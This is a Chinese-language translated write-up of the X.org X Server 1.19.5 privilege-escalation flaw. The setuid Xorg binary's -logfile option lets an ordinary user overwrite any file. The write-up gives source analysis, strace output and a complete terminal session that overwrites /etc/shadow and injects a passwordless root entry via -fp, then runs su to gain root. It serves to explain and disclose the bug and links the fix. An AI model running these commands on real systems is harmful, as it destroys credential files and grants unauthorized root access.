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XorgXServer权限提升漏洞是怎样的

Xorg X Server权限提升漏洞是怎样的，相信很多没有经验的人对此束手无策，为此本文总结了问题出现的原因和解决方法，通过这篇文章希望你能解决这个问题。

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任意文件覆盖导致的提权漏洞

由合天网安实验室翻译

描述：

X.org X Server应用程序允许低权限的用户在系统的任何位置创建或覆盖文件，包括特色文件（如：/etc/shadow）。

攻击条件：拥有普通用户的控制台会话权限

靶机：

  1. CentOS-7

  2. [narendra@localhost ~]$ uname -a

  3. Linux localhost.localdomain 4.18.11-1.el7.elrepo.x86_64 #1 SMP Sat Sep 29 09:42:38 EDT 2018 x86_64 x86_64 xGNU/Linux

X.Org X server 版本：1.19.5

分析：

在CentOS和RedHat服务器操作系统上，X.org X Server 可执行文件（/usr/bin/Xorg）具有SETUID权限。


  1. [Dev@localhost ~]$ ls -la /usr/bin/Xorg

  2. -rwsr-xr-x. 1 root root 2409344 Apr 11 22:12 /usr/bin/Xorg

X.org X Server 应用程序中 LogInit()函数用来记录日志，X.org X Server 允许用户使用 “-logfile”选项指定日志文件。

如果系统上已存在与用户提供的"”同名的文件，则将其重命名为“.old”。完成此操作后，将使用用户提供的“”名称创建一个新文件，使用fopen()函数进行调用

Xorg-Server/os/log.c


  1.  244 const char *  

  2.  245 LogInit(const char *fname, const char *backup)  

  3.  246 {  

  4.  247   char *logFileName = NULL;  

  5.  248  

  6.  249   if (fname && *fname) {  

  7.  250     if (displayfd != -1) {  

  8.  251       /* Display isn't set yet, so we can't use it in filenames yet. */  

  9.  252       char pidstring[32];  

  10.  253       snprintf(pidstring, sizeof(pidstring), "pid-%ld",  

  11.  254           (unsigned long) getpid());  

  12.  255       logFileName = LogFilePrep(fname, backup, pidstring);  

  13.  256       saved_log_tempname = logFileName;  

  14.  257  

  15.  258       /* Save the patterns for use when the display is named. */  

  16.  259       saved_log_fname = strdup(fname);  

  17.  260       if (backup == NULL)  

  18.  261         saved_log_backup = NULL;  

  19.  262       else  

  20.  263         saved_log_backup = strdup(backup);  

  21.  264     } else  

  22.  265       logFileName = LogFilePrep(fname, backup, display);  

  23.  266     if ((logFile = fopen(logFileName, "w")) == NULL)  

  24.  267       FatalError("Cannot open log file \"%s\"\n", logFileName);  

  25.  268     setvbuf(logFile, NULL, _IONBF, 0);  

  26.  269  

  27.  270     logFileFd = fileno(logFile);  

可以使用 strace命令跟踪系统底层的 open() 调用过程


  1. stat("mylogfile", 0x7ffcb9654ed0)      &n-1 ENOENT (No such file or directory)

  2. open("mylogfile", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4

  3. rt_sigaction(SIGALRM, {0x55b6e2c2ca70, [ALRM], SA_RESTORER|SA_RESTART, 0x7fb0353036d0}, NULL, 8) = 0

从跟踪日志可以看出，O_EXCL标志没有设置，所以fopen() 函数会创建或者覆盖已有的文件。

漏洞利用：

主要利用以下3点：

1、fopen()调用的输入是用户可控的文件名

2、fopen()将创建或覆盖已存在的文件

3、可执行文件/usr/bin/Xorg具有setuid权限

/etc/shadow 文件覆盖测试


  1.  [Dev@localhost ~]$ uname -r

  2.  3.10.0-862.el7.x86_64

  3.  [Dev@localhost ~]$ Xorg -version

  4.  X.Org X Server 1.19.5

  5.  Release Date: 2017-10-12

  6.  X Protocol Version 11, Revision 0

  7.  Build Operating System:  2.6.32-696.18.7.el6.x86_64

  8.  Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64

  9.  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8

  10.  Build Date: 13 February 2018  02:39:52PM

  11.  Build ID: xorg-x11-server 1.19.5-5.el7

  12.  Current version of pixman: 0.34.0

  13.  Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.

  14.  [Dev@localhost ~]

  15.  [Dev@localhost ~]$ id

  16.  uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

  17.  [Dev@localhost ~]$

  18.  [Dev@localhost ~]$ cd /etc

  19.  [Dev@localhost etc]$ ls -la shadow

  20.  ----------. 1 root root 1650 Oct  6 05:03 shadow

  21.  [Dev@localhost etc]$

  22.  [Dev@localhost etc]$ cat shadow

  23.  cat: shadow: Permission denied

  24.  [Dev@localhost etc]$

  25.  [Dev@localhost etc]$ Xorg -logfile shadow :1 #指定日志文件为shadow

  26.  X.Org X Server 1.19.5

  27.  Release Date: 2017-10-12

  28.  X Protocol Version 11, Revision 0

  29.  Build Operating System:  2.6.32-696.18.7.el6.x86_64

  30.  Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64

  31.  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8

  32.  Build Date: 13 February 2018  02:39:52PM

  33.  Build ID: xorg-x11-server 1.19.5-5.el7

  34.  Current version of pixman: 0.34.0

  35.   Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.

  36.  Markers: (--) probed, (**) from config file, (==) default setting,

  37.      (++) from command line, (!!) notice, (II) informational,

  38.      (WW) warning, (EE) error, (NI) not implemented, (??) unknown.

  39.  (++) Log file: "shadow", Time: Sat Oct  6 21:54:13 2018

  40.  (==) Using config directory: "/etc/X11/xorg.conf.d"

  41.  (==) Using system config directory "/usr/share/X11/xorg.conf.d"

  42.  ^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)

  43.  (II) Server terminated successfully (0). Closing log file.

  44.  [Dev@localhost etc]$

  45.  [Dev@localhost etc]$

  46.  [Dev@localhost etc]$ ls -la shadow

  47.  -rw-r--r--. 1 root Dev 53901 Oct  6 21:54 shadow

  48.  [Dev@localhost etc]$

  49.  [Dev@localhost etc]$ head shadow #写入成功

  50.  [ 11941.870]

  51.  X.Org X Server 1.19.5

  52.  Release Date: 2017-10-12

  53.  [ 11941.870] X Protocol Version 11, Revision 0

  54.  [ 11941.870] Build Operating System:  2.6.32-696.18.7.el6.x86_64

  55.  [ 11941.870] Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64

  56.  [ 11941.870] Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8

  57.  [ 11941.870] Build Date: 13 February 2018  02:39:52PM

  58.  [ 11941.870] Build ID: xorg-x11-server 1.19.5-5.el7

  59.  [ 11941.870] Current version of pixman: 0.34.0

  60.  [Dev@localhost etc]$

权限提升


  1. [Dev@localhost ~]$ id #当前权限

  2.  uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

  3.  [Dev@localhost ~]$

  4.  [Dev@localhost ~]$ cd /etc

  5.  [Dev@localhost etc]$

  6.  [Dev@localhost etc]$ ls -la shadow

  7.  ----------. 1 root root 1241 Oct 10 01:15 shadow

  8.  [Dev@localhost etc]$

  9.  [Dev@localhost etc]$ cat shadow #查看权限

  10.  cat: shadow: Permission denied

  11.  [Dev@localhost etc]$

  12.  [Dev@localhost etc]$ Xorg -fp "root::16431:0:99999:7:::"  -logfile shadow  :1 #写入文件，root无密码

  13.  X.Org X Server 1.19.5

  14.  Release Date: 2017-10-12

  15.  X Protocol Version 11, Revision 0

  16.  Build Operating System:  3.10.0-693.17.1.el7.x86_64

  17.  Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64

  18.  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8

  19.  Build Date: 11 April 2018  04:40:54PM

  20.  Build ID: xorg-x11-server 1.19.5-5.el7

  21.  Current version of pixman: 0.34.0

  22.      Before reporting problems, check http://wiki.x.org

  23.      to make sure that you have the latest version.

  24.  Markers: (--) probed, (**) from config file, (==) default setting,

  25.      (++) from command line, (!!) notice, (II) informational,

  26.      (WW) warning, (EE) error, (NI) not implemented, (??) unknown.

  27.  (++) Log file: "shadow", Time: Wed Oct 10 01:16:10 2018

  28.  (==) Using config directory: "/etc/X11/xorg.conf.d"

  29.  (==) Using system config directory "/usr/share/X11/xorg.conf.d"

  30.  ^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)

  31.  (II) Server terminated successfully (0). Closing log file.

  32.  [Dev@localhost etc]$ ls -la shadow

  33.  -rw-r--r--. 1 root Dev 53897 Oct 10 01:16 shadow

  34.  [Dev@localhost etc]$

  35.  [Dev@localhost etc]$ cat shadow | grep "root::" #写入文件成功

  36.      root::16431:0:99999:7:::

  37.  [Dev@localhost etc]$

  38.  [Dev@localhost etc]$

  39.  [Dev@localhost etc]$ su #切换到root用户

  40.  [root@localhost etc]#

  41.  [root@localhost etc]# id  #查看权限，提权成功

  42.  uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

修复信息：

https://lists.x.org/archives/xorg-announce/2018-October/002927.htmlhttps://lists.x.org/archives/xorg-announce/2018-October/002928.html

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